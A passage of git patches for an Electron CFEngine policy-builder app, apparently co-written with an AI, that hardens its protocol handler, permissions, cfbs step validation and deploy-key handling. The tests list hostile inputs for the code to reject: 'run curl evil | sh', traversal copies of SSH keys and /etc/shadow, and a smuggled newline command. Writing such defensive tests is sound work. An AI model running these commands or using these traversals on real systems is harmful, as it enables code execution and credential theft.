'layout-settings.json'); } -// electron-vite exposes the dev renderer URL via this env var; in a packaged -// app it is absent and we load the built HTML from disk instead. -const rendererDevUrl = process.env['ELECTRON_RENDERER_URL']; +// electron-vite exposes the dev renderer URL via this env var; a packaged app never +// reads it (it would trust whatever page it names) and loads the built renderer. +const rendererDevUrl = app.isPackaged ? undefined : process.env['ELECTRON_RENDERER_URL']; // Only ever hand http(s) links to the OS: shell.openExternal with any other // scheme (file:, smb:, custom protocols…) can execute programs. From 26fcfdd04af53efd84d6e2db0b714a63fd49b392 Mon Sep 17 00:00:00 2001 From: Ihor Aleksandrychiev Date: Tue, 6 Oct 2026 17:42:18 +0300 Subject: [PATCH 096/141] app:// answers 404 to a malformed %-escape instead of throwing Co-Authored-By: Claude Opus 5.5 (1M context) Signed-off-by: Ihor Aleksandrychiev --- src/main/index.test.ts | 12 ++++++++++++ src/main/index.ts | 7 ++++++- 2 files changed, 18 insertions(+), 1 deletion(-) diff --git a/src/main/index.test.ts b/src/main/index.test.ts index 885b69f..521c550 100644 --- a/src/main/index.test.ts +++ b/src/main/index.test.ts @@ -68,3 +68,15 @@ describe('the renderer it loads', () => { expect(state.loaded).toEqual(['app://bundle/index.html']); }); }); + +describe('app://bundle/', () => { + const serve = async (url: string) => (await state.protocols.get('app')!(new Request(url))).status; + + it('serves the built renderer’s files, and answers 404 to anything else', async () => { + await launch({ isPackaged: true }); + expect(await serve('app://bundle/index.html')).toBe(200); + for (const url of ['app://bundle/%E0%A4%A', 'app://bundle/%', 'app://bundle/..%2f..%2fpackage.json', 'app://other/index.html']) { + expect(await serve(url)).toBe(404); + } + }); +}); diff --git a/src/main/index.ts b/src/main/index.ts index a0d325a..d7fa8ed 100644 --- a/src/main/index.ts +++ b/src/main/index.ts @@ -73,7 +73,12 @@ protocol.registerSchemesAsPrivileged([{ scheme: 'app', privileges: { standard: t // app://bundle/ → the built renderer's file; nothing outside its folder. function serveRenderer(request: Request): Promise | Response { const url = new URL(request.url); - const path = normalize(join(rendererDir, decodeURIComponent(url.pathname))); + let path: string; + try { + path = normalize(join(rendererDir, decodeURIComponent(url.pathname))); + } catch { + return new Response('Not found', { status: 404 }); // a malformed %-escape + } if (url.host !== 'bundle' || !path.startsWith(rendererDir + sep)) return new Response('Not found', { status: 404 }); return net.fetch(pathToFileURL(path).href).catch(() => new Response('Not found', { status: 404 })); } From 103b1962b68989e1234531c8d1323b9941ac70a6 Mon Sep 17 00:00:00 2001 From: Ihor Aleksandrychiev Date: Tue, 6 Oct 2026 17:45:16 +0300 Subject: [PATCH 097/141] Permission checks are denied like permission requests, except clipboard writes Without a check handler, a page's permission queries (and the Notification.permission state) reported other permissions as granted, so SECURITY-CHECKLIST.md item 5 claimed more than the app did. Co-Authored-By: Claude Opus 5.5 (1M context) Signed-off-by: Ihor Aleksandrychiev --- SECURITY-CHECKLIST.md | 2 +- e2e/security.spec.ts | 5 +++++ scripts/security-checks.mjs | 7 ++++++- src/main/index.test.ts | 2 +- src/main/index.ts | 3 ++- 5 files changed, 15 insertions(+), 4 deletions(-) diff --git a/SECURITY-CHECKLIST.md b/SECURITY-CHECKLIST.md index a23d2ed..3e2bbe2 100644 --- a/SECURITY-CHECKLIST.md +++ b/SECURITY-CHECKLIST.md @@ -19,7 +19,7 @@ on each push and pull request, and weekly: | 2 | [Do not enable Node.js integration for remote content](https://www.electronjs.org/docs/latest/tutorial/security#2-do-not-enable-nodejs-integration-for-remote-content) | ✅ | `nodeIntegration` is never enabled (`createWindow` in [`src/main/index.ts`](src/main/index.ts)); the running page has no `require` or `process`. | | 3 | [Enable context isolation](https://www.electronjs.org/docs/latest/tutorial/security#3-enable-context-isolation) | ✅ | `contextIsolation: true` in `createWindow` ([`src/main/index.ts`](src/main/index.ts)). | | 4 | [Enable process sandboxing](https://www.electronjs.org/docs/latest/tutorial/security#4-enable-process-sandboxing) | ✅ | `sandbox: true` in `createWindow` ([`src/main/index.ts`](src/main/index.ts)); no `--no-sandbox`. | -| 5 | [Handle session permission requests from remote content](https://www.electronjs.org/docs/latest/tutorial/security#5-handle-session-permission-requests-from-remote-content) | ✅ | `setPermissionRequestHandler` in [`src/main/index.ts`](src/main/index.ts) grants only `clipboard-sanitized-write` (Copy in Generated Policy) and denies the rest. | +| 5 | [Handle session permission requests from remote content](https://www.electronjs.org/docs/latest/tutorial/security#5-handle-session-permission-requests-from-remote-content) | ✅ | `setPermissionRequestHandler` and `setPermissionCheckHandler` in [`src/main/index.ts`](src/main/index.ts) grant only `clipboard-sanitized-write` (Copy in Generated Policy) and deny the rest, whether requested or only checked. | | 6 | [Do not disable `webSecurity`](https://www.electronjs.org/docs/latest/tutorial/security#6-do-not-disable-websecurity) | ✅ | Never set; the running window reports `webSecurity: true`. | | 7 | [Define a Content Security Policy](https://www.electronjs.org/docs/latest/tutorial/security#7-define-a-content-security-policy) | ✅ | The `` in [`src/renderer/index.html`](src/renderer/index.html): `default-src 'self'`, `script-src 'self'` (no inline scripts, no `eval`). `style-src` allows `'unsafe-inline'`, which Emotion/MUI need for their injected styles. | | 8 | [Do not enable `allowRunningInsecureContent`](https://www.electronjs.org/docs/latest/tutorial/security#8-do-not-enable-allowrunninginsecurecontent) | ✅ | Never set; the running window reports `false`. | diff --git a/e2e/security.spec.ts b/e2e/security.spec.ts index d3120e2..bc282ca 100644 --- a/e2e/security.spec.ts +++ b/e2e/security.spec.ts @@ -65,6 +65,11 @@ test('the page has a strict Content Security Policy', async ({ window: page }) = }); test('web permissions are denied', async ({ window: page }) => { + // Checked (no request) as well as requested; writing to the clipboard (Copy) is the one granted. + const state = (name: string) => + page.evaluate(permission => navigator.permissions.query({ name: permission as PermissionName }).then(result => result.state), name); + expect([await state('geolocation'), await state('notifications'), await state('clipboard-write')]).toEqual(['denied', 'denied', 'granted']); + expect(await page.evaluate(() => Notification.permission)).toBe('denied'); expect(await page.evaluate(() => Notification.requestPermission())).toBe('denied'); expect( await page.evaluate(() => diff --git a/scripts/security-checks.mjs b/scripts/security-checks.mjs index 4640038..2ee95a3 100644 --- a/scripts/security-checks.mjs +++ b/scripts/security-checks.mjs @@ -47,7 +47,12 @@ const CHECKS = [ ['2. No Node.js integration', () => nowhere(/nodeIntegration(InWorker|InSubFrames)?\s*:\s*true/)], ['3. Context isolation', () => nowhere(/contextIsolation\s*:\s*false/) ?? missing(mainIndex, /contextIsolation:\s*true/, 'contextIsolation: true')], ['4. Process sandboxing', () => nowhere(/sandbox\s*:\s*false|--no-sandbox|enableSandbox/) ?? missing(mainIndex, /sandbox:\s*true/, 'sandbox: true')], - ['5. Permission requests handled', () => missing(mainIndex, /setPermissionRequestHandler\(/, 'setPermissionRequestHandler')], + [ + '5. Permission requests handled', + () => + missing(mainIndex, /setPermissionRequestHandler\(/, 'setPermissionRequestHandler') ?? + missing(mainIndex, /setPermissionCheckHandler\(/, 'setPermissionCheckHandler') + ], ['6. webSecurity not disabled', () => nowhere(/webSecurity\s*:\s*false|disable-web-security/)], [ '7. Content Security Policy', diff --git a/src/main/index.test.ts b/src/main/index.test.ts index 521c550..4e6f9f6 100644 --- a/src/main/index.test.ts +++ b/src/main/index.test.ts @@ -28,7 +28,7 @@ vi.mock('electron', async importOriginal => { }, net: { fetch: async () => new Response('file') }, protocol: { registerSchemesAsPrivileged: () => {}, handle: (scheme: string, handler: never) => void state.protocols.set(scheme, handler) }, - session: { defaultSession: { setPermissionRequestHandler: () => {} } } + session: { defaultSession: { setPermissionCheckHandler: () => {}, setPermissionRequestHandler: () => {} } } }; }); diff --git a/src/main/index.ts b/src/main/index.ts index d7fa8ed..71337e0 100644 --- a/src/main/index.ts +++ b/src/main/index.ts @@ -224,10 +224,11 @@ app.whenReady().then(() => { app.setAppUserModelId('com.northerntech.cfengine-policy-builder'); // The app needs no web permissions (camera, geolocation, notifications…) except writing - // text to the clipboard (Copy in Generated Policy); deny anything else that asks. + // text to the clipboard (Copy in Generated Policy); deny anything else that asks, or checks. session.defaultSession.setPermissionRequestHandler((_webContents, permission, callback) => { callback(permission === 'clipboard-sanitized-write'); }); + session.defaultSession.setPermissionCheckHandler((_webContents, permission) => permission === 'clipboard-sanitized-write'); ipcMain.handle('theme:should-use-dark', event => { if (!isTrustedFrame(event.senderFrame)) return false; From e47237ef4a8648b0726d36ba4a67a1bd6de38383 Mon Sep 17 00:00:00 2001 From: Ihor Aleksandrychiev Date: Tue, 6 Oct 2026 17:45:33 +0300 Subject: [PATCH 098/141] SECURITY-CHECKLIST.md: Item 1 no longer claims git remotes are https only Co-Authored-By: Claude Opus 5.5 (1M context) Signed-off-by: Ihor Aleksandrychiev --- SECURITY-CHECKLIST.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/SECURITY-CHECKLIST.md b/SECURITY-CHECKLIST.md index 3e2bbe2..c4d8796 100644 --- a/SECURITY-CHECKLIST.md +++ b/SECURITY-CHECKLIST.md @@ -15,7 +15,7 @@ on each push and pull request, and weekly: | # | Recommendation | Status | Evidence | | --- | --- | --- | --- | -| 1 | [Only load secure content](https://www.electronjs.org/docs/latest/tutorial/security#1-only-load-secure-content) | ✅ | The packaged app loads its own files only, from `app://bundle/` (item 18). Everything it fetches is https: the Enterprise hub (`checkedUrl` in [`src/main/hub.ts`](src/main/hub.ts) refuses anything else), the masterfiles versions index (`VERSIONS_URL` in [`src/main/project.ts`](src/main/project.ts)). `http://` appears only for the development server on localhost. | +| 1 | [Only load secure content](https://www.electronjs.org/docs/latest/tutorial/security#1-only-load-secure-content) | ✅ | The packaged app loads its own files only, from `app://bundle/` (item 18). Everything the main process fetches itself is https: the Enterprise hub (`checkedUrl` in [`src/main/hub.ts`](src/main/hub.ts) refuses anything else), the masterfiles versions index (`VERSIONS_URL` in [`src/main/project.ts`](src/main/project.ts)). `http://` appears only for the development server on localhost. The exception is a project's git remote: the user's choice of URL (`REMOTE_URL` in [`src/main/deploy.ts`](src/main/deploy.ts) also takes `http://`, `git://`, `file://` and local paths), fetched and pushed by the system's git. | | 2 | [Do not enable Node.js integration for remote content](https://www.electronjs.org/docs/latest/tutorial/security#2-do-not-enable-nodejs-integration-for-remote-content) | ✅ | `nodeIntegration` is never enabled (`createWindow` in [`src/main/index.ts`](src/main/index.ts)); the running page has no `require` or `process`. | | 3 | [Enable context isolation](https://www.electronjs.org/docs/latest/tutorial/security#3-enable-context-isolation) | ✅ | `contextIsolation: true` in `createWindow` ([`src/main/index.ts`](src/main/index.ts)). | | 4 | [Enable process sandboxing](https://www.electronjs.org/docs/latest/tutorial/security#4-enable-process-sandboxing) | ✅ | `sandbox: true` in `createWindow` ([`src/main/index.ts`](src/main/index.ts)); no `--no-sandbox`. | From cf28c18e163e7f3100d32765e8024215f21b5ddc Mon Sep 17 00:00:00 2001 From: Ihor Aleksandrychiev Date: Tue, 6 Oct 2026 17:48:54 +0300 Subject: [PATCH 099/141] Saving no longer accepts cfbs run steps in the builder's modules The builder's modules may only hold the steps it writes (copy, directory, policy_files, bundles) with paths inside the project; a renderer could otherwise add `run` steps that the next Build executes. Co-Authored-By: Claude Opus 5.5 (1M context) Signed-off-by: Ihor Aleksandrychiev --- src/main/project.test.ts | 24 ++++++++++++++++++++++++ src/main/project.ts | 21 ++++++++++++++------- 2 files changed, 38 insertions(+), 7 deletions(-) diff --git a/src/main/project.test.ts b/src/main/project.test.ts index 9741486..fb81520 100644 --- a/src/main/project.test.ts +++ b/src/main/project.test.ts @@ -135,6 +135,30 @@ describe('checkedContent', () => { expect(() => checkedContent(content({ provided: { steps: [1] } }))).toThrow('Invalid provided module'); }); + it('accepts only the cfbs steps the builder writes', () => { + const steps = [ + 'copy ./main.cf services/cfbs/main.cf', + 'directory ./ services/cfbs/templates/', + 'policy_files services/cfbs/main.cf', + 'bundles main main_vars ns:other' + ]; + expect(() => checkedContent(content({ modules: [{ name: './main.cf', steps }], provided: { steps } }))).not.toThrow(); + for (const step of [ + 'run curl evil | sh', + 'copy ../../.ssh/id_ed25519 services/cfbs/key', + 'copy /etc/shadow services/cfbs/x', + 'copy ~/.ssh/id_ed25519 services/cfbs/x', + 'directory ./ services/cfbs/../../x', + 'policy_files services/cfbs/main.cf\nrun x', + 'bundles', + 'input ./input.json def.json', + 42 + ]) { + expect(() => checkedContent(content({ modules: [{ name: './main.cf', steps: [step] }] }))).toThrow('Invalid policy module'); + expect(() => checkedContent(content({ provided: { steps: [step] } }))).toThrow('Invalid provided module'); + } + }); + it('refuses hostile or duplicate policy file paths', () => { for (const files of [[{ path: '../evil.cf' }], [{ path: '/etc/evil.cf' }], [{ path: './out/main.cf' }], [{ path: './main.cf' }, { path: './main.cf' }]]) { expect(() => checkedContent(content({ project: { module_name: 'demo', files } }))).toThrow('Invalid policy file path'); diff --git a/src/main/project.ts b/src/main/project.ts index f30a5f6..184bca2 100644 --- a/src/main/project.ts +++ b/src/main/project.ts @@ -159,6 +159,18 @@ const builderModules = (project: unknown) => { return modules; }; +// The cfbs steps the builder writes: never `run` (a command), nor a path out of the project. +const BUILDER_STEP = /^(?:copy|directory|policy_files|bundles)(?: [^\s/~]\S*)+$/; +const isBuilderStep = (step: unknown) => typeof step === 'string' && BUILDER_STEP.test(step) && !step.split(/[ /\\]/).includes('..'); + +/** Refuses the builder's modules (and the module it provides) unless every step is one the builder writes. */ +export function checkedBuilderModules(modules: unknown[], provided: Record): void { + if (!Array.isArray(provided.steps) || !provided.steps.every(isBuilderStep)) throw new InvalidRequest('Invalid provided module'); + if (!modules.every(module => isRecord(module) && Array.isArray(module.steps) && module.steps.every(isBuilderStep))) { + throw new InvalidRequest('Invalid policy module'); + } +} + export function checkedContent(value: unknown): ProjectContent { const content = value as Partial | null; if (!isRecord(content) || !isRecord(content.project) || !Array.isArray(content.modules) || !isRecord(content.provided)) { @@ -167,17 +179,12 @@ export function checkedContent(value: unknown): ProjectContent { if (typeof content.project.module_name !== 'string' || !MODULE_NAME.test(content.project.module_name)) { throw new InvalidRequest('Invalid module name'); } - const provided = content.provided; - if (!Array.isArray(provided.steps) || !provided.steps.every(step => typeof step === 'string')) throw new InvalidRequest('Invalid provided module'); const paths = builderPaths(content.project); if (!paths.every(isPolicyPath) || new Set(paths).size !== paths.length) throw new InvalidRequest('Invalid policy file path'); const modules = builderModules(content.project); const names = content.modules.map(module => (isRecord(module) ? module.name : undefined)); - const ok = - names.length === modules.size && - names.every(name => typeof name === 'string' && modules.has(name)) && - content.modules.every(module => isRecord(module) && Array.isArray(module.steps)); - if (!ok) throw new InvalidRequest('Invalid policy module'); + if (names.length !== modules.size || !names.every(name => typeof name === 'string' && modules.has(name))) throw new InvalidRequest('Invalid policy module'); + checkedBuilderModules(content.modules, content.provided); const environments = content.testEnvironments; if (environments !== undefined && !(Array.isArray(environments) && environments.every(isRecord) && environments.every(hasValidEnvFile))) { throw new InvalidRequest('Invalid test environments'); From 2b4026c8af62df829d7736667e6f808e19419f3e Mon Sep 17 00:00:00 2001 From: Ihor Aleksandrychiev Date: Tue, 6 Oct 2026 17:53:44 +0300 Subject: [PATCH 100/141] Hub VCS settings no longer upload a key file whose path the page names Main now reads the deploy key when the user picks it (hub:pick-key) and keeps it; the page gets the path to show and a token that names the key. hub:configure-vcs takes only that token. Co-Authored-By: Claude Opus 5.5 (1M context) Signed-off-by: Ihor Aleksandrychiev --- src/main/hub.integration.test.ts | 17 +++++++-- src/main/hub.test.ts | 17 ++++++++- src/main/hub.ts | 42 ++++++++++++++++++++-- src/preload/api.d.ts | 5 ++- src/preload/index.ts | 3 +- src/renderer/src/components/deploy/hub.tsx | 21 ++++++++--- 6 files changed, 93 insertions(+), 12 deletions(-) diff --git a/src/main/hub.integration.test.ts b/src/main/hub.integration.test.ts index b4aee83..7a5dfca 100644 --- a/src/main/hub.integration.test.ts +++ b/src/main/hub.integration.test.ts @@ -12,7 +12,7 @@ import { call, registerHubHandlers } from './hub'; import { type Certificate, DEPLOY_CLASS, type FakeHub, HOSTKEY, STAGE, makeCertificate, startFakeHub } from './test/fakeHub'; import { type Handler, invoker, isTrustedFrame, trustedFrame } from './test/ipc'; -const electron = vi.hoisted(() => ({ handlers: new Map(), userData: '' })); +const electron = vi.hoisted(() => ({ handlers: new Map(), picked: '', userData: '' })); // A reversible stand-in for the keychain, so a stored password is visibly not plain text. const scramble = (buffer: Buffer) => Buffer.from(buffer.map(byte => byte ^ 0x5a)); @@ -22,6 +22,7 @@ vi.mock('electron', async importOriginal => { return { ...original, app: { ...original.app, getPath: () => electron.userData }, + dialog: { showOpenDialog: async () => ({ canceled: false, filePaths: [electron.picked] }) }, ipcMain: { ...original.ipcMain, handle: (channel: string, handler: Handler) => void electron.handlers.set(channel, handler) }, safeStorage: { isEncryptionAvailable: () => true, @@ -215,6 +216,8 @@ describe.skipIf(!hasOpenssl)('hub client against a fake Mission Portal (needs op await connect(); const keyFile = join(temp, 'deploy_key'); await fs.writeFile(keyFile, 'PRIVATE KEY\n'); + electron.picked = keyFile; + const { token } = (await invoke('hub:pick-key')) as { token: string }; hub.requests.length = 0; const result = (await invoke('hub:configure-vcs', hub.url, { gitServer: ' https://git.example.com/policy.git ', @@ -222,7 +225,7 @@ describe.skipIf(!hasOpenssl)('hub client against a fake Mission Portal (needs op projectSubdirectory: '/cfbs', gitUsername: 'deployer', gitPassword: 'token', - gitPrivateKeyFile: keyFile + gitPrivateKey: token })) as Outcome<{ state: HubState }>; expect(hub.requests[0]).toMatchObject({ method: 'POST', @@ -240,6 +243,16 @@ describe.skipIf(!hasOpenssl)('hub client against a fake Mission Portal (needs op expect(result).toMatchObject({ ok: true, state: { vcs: { type: 'GIT_CFBS', url: 'https://git.example.com/policy.git', hasKey: true } } }); }); + it('never reads a key file the page names', async () => { + await connect(); + const keyFile = join(temp, 'id_ed25519'); + await fs.writeFile(keyFile, 'PRIVATE KEY\n'); + hub.requests.length = 0; + const settings = { gitServer: 'https://git.example.com/policy.git', gitRefspec: 'main', gitPrivateKey: keyFile, gitPrivateKeyFile: keyFile }; + expect(await invoke('hub:configure-vcs', hub.url, settings)).toMatchObject({ ok: false, message: 'Choose the key file again' }); + expect(paths()).not.toContain('POST /api/vcs/settings'); + }); + it('leaves out credentials not given', async () => { await connect(); hub.requests.length = 0; diff --git a/src/main/hub.test.ts b/src/main/hub.test.ts index d0ea10d..7a71bd6 100644 --- a/src/main/hub.test.ts +++ b/src/main/hub.test.ts @@ -10,13 +10,14 @@ import { afterEach, beforeAll, beforeEach, describe, expect, it, vi } from 'vite import { call, checkedUrl, hostkeyPath, registerHubHandlers } from './hub'; import { type Handler, invoker, isTrustedFrame } from './test/ipc'; -const electron = vi.hoisted(() => ({ handlers: new Map(), userData: '' })); +const electron = vi.hoisted(() => ({ handlers: new Map(), picked: null as null | string, userData: '' })); vi.mock('electron', async importOriginal => { const original = await importOriginal(); return { ...original, app: { ...original.app, getPath: () => electron.userData }, + dialog: { showOpenDialog: async () => ({ canceled: electron.picked === null, filePaths: electron.picked === null ? [] : [electron.picked] }) }, ipcMain: { ...original.ipcMain, handle: (channel: string, handler: Handler) => void electron.handlers.set(channel, handler) } }; }); @@ -198,6 +199,20 @@ describe('IPC handlers', () => { expect(await invoke('hub:list')).toEqual([{ url: 'https://hub.example.com', username: 'admin', fingerprint: 'AA:BB' }]); }); + it('reads a picked deploy key in main and hands the page only a token', async () => { + const key = join(temp, 'deploy_key'); + await fs.writeFile(key, 'PRIVATE KEY\n'); + electron.picked = key; + const picked = (await invoke('hub:pick-key')) as { ok: true; path: string; token: string }; + expect(picked).toEqual({ ok: true, path: key, token: expect.stringMatching(/^[0-9a-f-]{36}$/) }); + expect(JSON.stringify(picked)).not.toContain('PRIVATE KEY'); + + await fs.writeFile(key, 'x'.repeat(64_001)); + expect(await invoke('hub:pick-key')).toMatchObject({ ok: false, message: 'That isn’t a private key file' }); + electron.picked = null; + expect(await invoke('hub:pick-key')).toBeNull(); + }); + it('acts only on a hub connected before', async () => { expect(await invoke('hub:state', 'https://other.example.com')).toMatchObject({ ok: false, message: 'Connect to this hub first' }); expect(request).not.toHaveBeenCalled(); diff --git a/src/main/hub.ts b/src/main/hub.ts index e4b0322..2097328 100644 --- a/src/main/hub.ts +++ b/src/main/hub.ts @@ -1,6 +1,8 @@ -import { type IpcMainInvokeEvent, type WebFrameMain, app, ipcMain, safeStorage } from 'electron'; +import { randomUUID } from 'crypto'; +import { BrowserWindow, type IpcMainInvokeEvent, type WebFrameMain, app, dialog, ipcMain, safeStorage } from 'electron'; import { promises as fs } from 'fs'; import { request } from 'https'; +import { homedir } from 'os'; import { join } from 'path'; import { type PeerCertificate, connect as tlsConnect } from 'tls'; @@ -13,6 +15,7 @@ import type { HubInfo, HubProbe, HubState, SavedHub } from '../preload/api'; */ const TIMEOUT_MS = 20_000; +const MAX_KEY_BYTES = 64_000; // agent_run waits for the hub's own update.cf + policy run (Mission Portal allows ~2 min). const AGENT_RUN_TIMEOUT_MS = 200_000; // The class masterfiles' update policy deploys from VCS under (off by default). @@ -25,6 +28,17 @@ interface StoredHub extends SavedHub { pem?: string; } +// Deploy keys read when the user picked them, by the token the renderer got instead of a path. +const pickedKeys = new Map(); + +async function readKey(path: string): Promise { + const stats = await fs.stat(path); + if (!stats.isFile() || stats.size > MAX_KEY_BYTES) throw new Error('That isn’t a private key file'); + const key = await fs.readFile(path, 'utf-8'); + if (key.includes('\0')) throw new Error('That isn’t a private key file'); + return key; +} + const storePath = () => join(app.getPath('userData'), 'hubs.json'); async function readHubs(): Promise { @@ -261,6 +275,26 @@ export function registerHubHandlers(isTrustedFrame: (frame: WebFrameMain | null) 'hub:state', trusted((_event, url: unknown) => attempt(async () => ({ state: await state(await hubFor(url)) }))) ); + // The deploy key for the hub's VCS settings: read here, and only a token goes back with its path. + ipcMain.handle( + 'hub:pick-key', + trusted(async event => { + const window = BrowserWindow.fromWebContents(event.sender); + const options = { + title: 'Deploy key for the repository', + defaultPath: join(homedir(), '.ssh'), + properties: ['openFile' as const, 'showHiddenFiles' as const] + }; + const picked = window ? await dialog.showOpenDialog(window, options) : await dialog.showOpenDialog(options); + const path = picked.canceled ? undefined : picked.filePaths[0]; + if (!path) return null; + return attempt(async () => { + const token = randomUUID(); + pickedKeys.set(token, await readKey(path)); + return { path, token }; + }); + }) + ); // Points the hub's VCS deployment at a cfbs project repository (as Mission Portal's Build app does). ipcMain.handle( 'hub:configure-vcs', @@ -278,7 +312,11 @@ export function registerHubHandlers(isTrustedFrame: (frame: WebFrameMain | null) // A POST rewrites every setting: credentials left out are cleared, so the old ones aren't kept. if (given.gitUsername) body.gitUsername = text(given.gitUsername, 'git username', 200); if (given.gitPassword) body.gitPassword = text(given.gitPassword, 'git token', 2000); - if (given.gitPrivateKeyFile) body.gitPrivateKey = await fs.readFile(text(given.gitPrivateKeyFile, 'key file', 4096), 'utf-8'); + if (given.gitPrivateKey) { + const key = pickedKeys.get(text(given.gitPrivateKey, 'key', 100)); + if (key === undefined) throw new Error('Choose the key file again'); + body.gitPrivateKey = key; + } await call(hub, 'POST', '/api/vcs/settings', body); return { state: await state(hub) }; }) diff --git a/src/preload/api.d.ts b/src/preload/api.d.ts index 45e4e40..3be3159 100644 --- a/src/preload/api.d.ts +++ b/src/preload/api.d.ts @@ -287,7 +287,8 @@ declare global { url: string, settings: { gitPassword?: string; - gitPrivateKeyFile?: string; + // The token hubPickKey gave for the key file. + gitPrivateKey?: string; gitRefspec: string; gitServer: string; gitUsername?: string; @@ -305,6 +306,8 @@ declare global { hubDeploy: (url: string) => Promise>; hubForget: (url: string) => Promise; hubList: () => Promise; + /** A file picker for the hub's deploy key: main reads and keeps the key, the page gets its path and a token; null if cancelled. */ + hubPickKey: () => Promise | null>; /** The hub's certificate, and whether the system trusts it. */ hubProbe: (url: string) => Promise>; hubState: (url: string) => Promise>; diff --git a/src/preload/index.ts b/src/preload/index.ts index 4a214c2..84699e0 100644 --- a/src/preload/index.ts +++ b/src/preload/index.ts @@ -130,8 +130,9 @@ const api = { hubState: (url: string): Promise> => invoke('hub:state', url), hubConfigureVcs: ( url: string, - settings: { gitPassword?: string; gitPrivateKeyFile?: string; gitRefspec: string; gitServer: string; gitUsername?: string; projectSubdirectory?: string } + settings: { gitPassword?: string; gitPrivateKey?: string; gitRefspec: string; gitServer: string; gitUsername?: string; projectSubdirectory?: string } ): Promise> => invoke('hub:configure-vcs', url, settings), + hubPickKey: (): Promise | null> => invoke('hub:pick-key'), hubDeploy: (url: string): Promise> => invoke('hub:deploy', url), /** A file picker in ~/.ssh for the hub's private key; null if cancelled. */ diff --git a/src/renderer/src/components/deploy/hub.tsx b/src/renderer/src/components/deploy/hub.tsx index 5221f74..7ae8aba 100644 --- a/src/renderer/src/components/deploy/hub.tsx +++ b/src/renderer/src/components/deploy/hub.tsx @@ -188,6 +188,15 @@ export function ConnectForm({ onConnected }: { onConnected: (hub: SavedHub, stat ); } +const NO_KEY = { error: '', path: '', token: '' }; + +// A deploy key main read and keeps: its path to show, and the token that names it. +async function pickHubKey(): Promise { + const picked = await window.api?.hubPickKey(); + if (!picked) return null; + return picked.ok ? { error: '', path: picked.path, token: picked.token } : { ...NO_KEY, error: picked.message }; +} + // Points the hub at this project's repository: GIT_CFBS, so the hub builds it with cfbs itself. export function VcsForm({ busy, @@ -207,7 +216,7 @@ export function VcsForm({ const [access, setAccess] = useState<'key' | 'none' | 'token'>(vcs?.hasKey ? 'key' : vcs?.username ? 'token' : 'none'); const [gitUsername, setGitUsername] = useState(vcs?.username ?? ''); const [token, setToken] = useState(''); - const [keyFile, setKeyFile] = useState(''); + const [key, setKey] = useState(NO_KEY); const replaces = vcs && !(vcs.type === 'GIT_CFBS' && sameRepo(vcs.url, repository)); const sshWithoutKey = access !== 'key' && isSsh(repository); const https = httpsOf(repository); @@ -258,12 +267,14 @@ export function VcsForm({ - @@ -293,7 +304,7 @@ export function VcsForm({ variant="contained" size="small" disabled={ - busy || !repository.trim() || !branch.trim() || (access === 'key' && !keyFile && !vcs?.hasKey) || (access === 'token' && (!gitUsername || !token)) + busy || !repository.trim() || !branch.trim() || (access === 'key' && !key.token && !vcs?.hasKey) || (access === 'token' && (!gitUsername || !token)) } onClick={() => onSave({ @@ -301,7 +312,7 @@ export function VcsForm({ gitRefspec: branch.trim(), projectSubdirectory: subdirectory.trim(), ...(access === 'token' ? { gitUsername, gitPassword: token } : {}), - ...(access === 'key' && keyFile ? { gitPrivateKeyFile: keyFile } : {}) + ...(access === 'key' && key.token ? { gitPrivateKey: key.token } : {}) }) } > From 4ef70a41b67d54206456c94fb49884f10bd9db3c Mon Sep 17 00:00:00 2001 From: Ihor Aleksandrychiev Date: Tue, 6 Oct 2026 17:28:58 +0300 Subject: [PATCH 101/141] testenv: Added tests for the IPC handlers' request checks Co-Authored-By: Claude Opus 5.5 (1M context) Signed-off-by: Ihor Aleksandrychiev --- src/main/testenv.test.ts | 103 +++++++++++++++++++++++++++++++++++++++ 1 file changed, 103 insertions(+) create mode 100644 src/main/testenv.test.ts diff --git a/src/main/testenv.test.ts b/src/main/testenv.test.ts new file mode 100644 index 0000000..9264397 --- /dev/null +++ b/src/main/testenv.test.ts @@ -0,0 +1,103 @@ +import { beforeEach, describe, expect, it, vi } from 'vitest'; + +import { startSidecarStream, testEnvQuery } from './backend'; +import { type Handler, invoker, ipcEvent, isTrustedFrame } from './test/ipc'; +import { registerTestEnvHandlers } from './testenv'; + +const state = vi.hoisted(() => ({ + handlers: new Map(), + appEvents: new Map void>(), + known: new Set() +})); + +vi.mock('electron', async importOriginal => { + const original = await importOriginal(); + return { + ...original, + app: { ...original.app, getPath: () => '/user-data', on: (event: string, listener: () => void) => void state.appEvents.set(event, listener) }, + ipcMain: { ...original.ipcMain, handle: (channel: string, handler: Handler) => void state.handlers.set(channel, handler) } + }; +}); + +vi.mock('./backend', () => ({ startSidecarStream: vi.fn(), testEnvQuery: vi.fn() })); +vi.mock('./project', () => ({ isInKnownProject: async (path: string) => state.known.has(path) })); + +const invoke = invoker(state.handlers); +const stream = vi.mocked(startSidecarStream); +const query = vi.mocked(testEnvQuery); +const environment = { id: 'env1', hosts: [] }; + +beforeEach(() => { + state.handlers.clear(); + state.appEvents.clear(); + state.known.clear(); + stream.mockReset().mockImplementation(() => ({ cancel: vi.fn(), done: new Promise(() => {}) })); + query.mockReset().mockResolvedValue({}); + registerTestEnvHandlers(isTrustedFrame); +}); + +// What the sidecar was started with: its arguments and parsed stdin. +const started = () => stream.mock.calls.map(([args, input]) => ({ args, input: JSON.parse(input) as Record })); + +describe('testenv:start', () => { + it('refuses an untrusted sender', () => { + expect(() => state.handlers.get('testenv:start')!(ipcEvent(false), 'up', { environment })).toThrow('untrusted sender'); + expect(stream).not.toHaveBeenCalled(); + }); + + it('refuses an unknown action', async () => { + await expect(invoke('testenv:start', 'rm', { environment })).rejects.toThrow('Unknown test environment action'); + }); + + it('pulls only the supported base images', async () => { + await expect(invoke('testenv:start', 'pull', { image: 'evil/image:latest' })).rejects.toThrow('Not a supported base image'); + await invoke('testenv:start', 'pull', { image: 'ubuntu:24.04', extra: 'dropped' }); + expect(started()).toEqual([{ args: ['testenv', 'pull'], input: { image: 'ubuntu:24.04' } }]); + }); + + it('inspects only image references, for a known architecture', async () => { + await expect(invoke('testenv:start', 'inspect', { image: '--rm', arch: 'x86_64' })).rejects.toThrow('Not an image reference'); + await expect(invoke('testenv:start', 'inspect', { image: 'alpine:3', arch: 'sparc' })).rejects.toThrow('Unknown architecture'); + await invoke('testenv:start', 'inspect', { image: 'registry.local:5000/team/os:1@sha256:abc', arch: 'aarch64' }); + expect(started()[0].input).toEqual({ image: 'registry.local:5000/team/os:1@sha256:abc', arch: 'aarch64' }); + }); + + it('needs an environment, and adds where the cache is', async () => { + await 